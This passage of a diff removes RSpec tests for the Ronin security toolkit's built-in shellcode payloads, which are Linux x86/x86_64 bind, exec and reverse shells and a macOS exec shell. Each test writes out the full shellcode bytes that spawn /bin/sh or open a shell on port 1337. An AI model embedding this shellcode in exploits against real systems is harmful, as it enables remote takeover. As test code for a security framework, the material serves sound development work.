8\x90\xa1\xff\xfc\x3b\xc0\x01\x60\x7f\xc0\x2e\x70\x44\xde\xad\xf2/bin/shZ".b
|
62
|
-
)
|
63
|
-
end
|
64
|
-
|
65
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
66
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
67
|
-
end
|
68
|
-
|
69
|
-
context "when the with_stderr param is set to false" do
|
70
|
-
subject do
|
71
|
-
described_class.new(
|
72
|
-
params: {
|
73
|
-
host: host,
|
74
|
-
port: port,
|
75
|
-
with_stderr: false
|
76
|
-
}
|
77
|
-
)
|
78
|
-
end
|
79
|
-
|
80
|
-
it "must omit the four instructions which enable piping stderr" do
|
81
|
-
expect(subject.payload).to eq(
|
82
|
-
"\x7c\x3f\x0b\x78\x3b\x40\x01\x0e\x3b\x5a\xfe\xf4\x7f\x43\xd3\x78\x3b\x60\x01\x0d\x3b\x7b\xfe\xf4\x7f\x64\xdb\x78\x7c\xa5\x2a\x78\x7c\x3c\x0b\x78\x3b\x9c\x01\x0c\x90\x7c\xff\x08\x90\x9c\xff\x0c\x90\xbc\xff\x10\x7f\x63\xdb\x78\x3b\xdf\x01\x0c\x38\x9e\xff\x08\x3b\x20\x01\x98\x7f\x20\x16\x70\x44\xde\xad\xf2\x7c\x78\x1b\x78\xb3\x5e\xff\x16\x7f\xbd\xea\x78\x63\xbd\x05\x39\xb3\xbe\xff\x18\x3f\xa0\x7f\x00\x63\xbd\x00\x01\x93\xbe\xff\x1a\x93\x1c\xff\x08\x3a\xde\xff\x16\x92\xdc\xff\x0c\x3b\xa0\x01\x1c\x38\xbd\xfe\xf4\x90\xbc\xff\x10\x7f\x20\x16\x70\x7c\x7a\xda\x14\x38\x9c\xff\x08\x44\xde\xad\xf2\x7f\x03\xc3\x78\x7c\x84\x22\x78\x3a\xe0\x01\xf8\x7e\xe0\x1e\x70\x44\xde\xad\xf2\x7f\x03\xc3\x78\x7f\x64\xdb\x78\x7e\xe0\x1e\x70\x44\xde\xad\xf2\x7c\xa5\x2a\x79\x42\x40\xff\x35\x7f\x08\x02\xa6\x3b\x18\x01\x34\x98\xb8\xfe\xfb\x38\x78\xfe\xf4\x90\x61\xff\xf8\x38\x81\xff\xf8\x90\xa1\xff\xfc\x3b\xc0\x01\x60\x7f\xc0\x2e\x70\x44\xde\xad\xf2/bin/shZ".b
|
83
|
-
)
|
84
|
-
end
|
85
|
-
end
|
86
|
-
end
|
87
|
-
end
|
@@ -1,60 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
let(:packed_port) { "\x05\x39".b }
|
49
|
-
|
50
|
-
it "must set #payload" do
|
51
|
-
expect(subject.payload).to eq(
|
52
|
-
"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02#{packed_port}\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80".b
|
53
|
-
)
|
54
|
-
end
|
55
|
-
|
56
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
57
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
58
|
-
end
|
59
|
-
end
|
60
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,60 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86_64::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86_64/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86_64/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
let(:packed_port) { "\x05\x39".b }
|
49
|
-
|
50
|
-
it "must set #payload" do
|
51
|
-
expect(subject.payload).to eq(
|
52
|
-
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01#{packed_port}\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05".b
|
53
|
-
)
|
54
|
-
end
|
55
|
-
|
56
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
57
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
58
|
-
end
|
59
|
-
end
|
60
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86_64::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86_64/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86_64/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86_64::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86_64/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86_64/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\x39\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::MacOS::X86_64::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/macos/x86_64/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/macos/x86_64/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :macos" do
|
29
|
-
expect(subject.os).to be(:macos)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01\x48\x83\xc0\x45\x5f\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|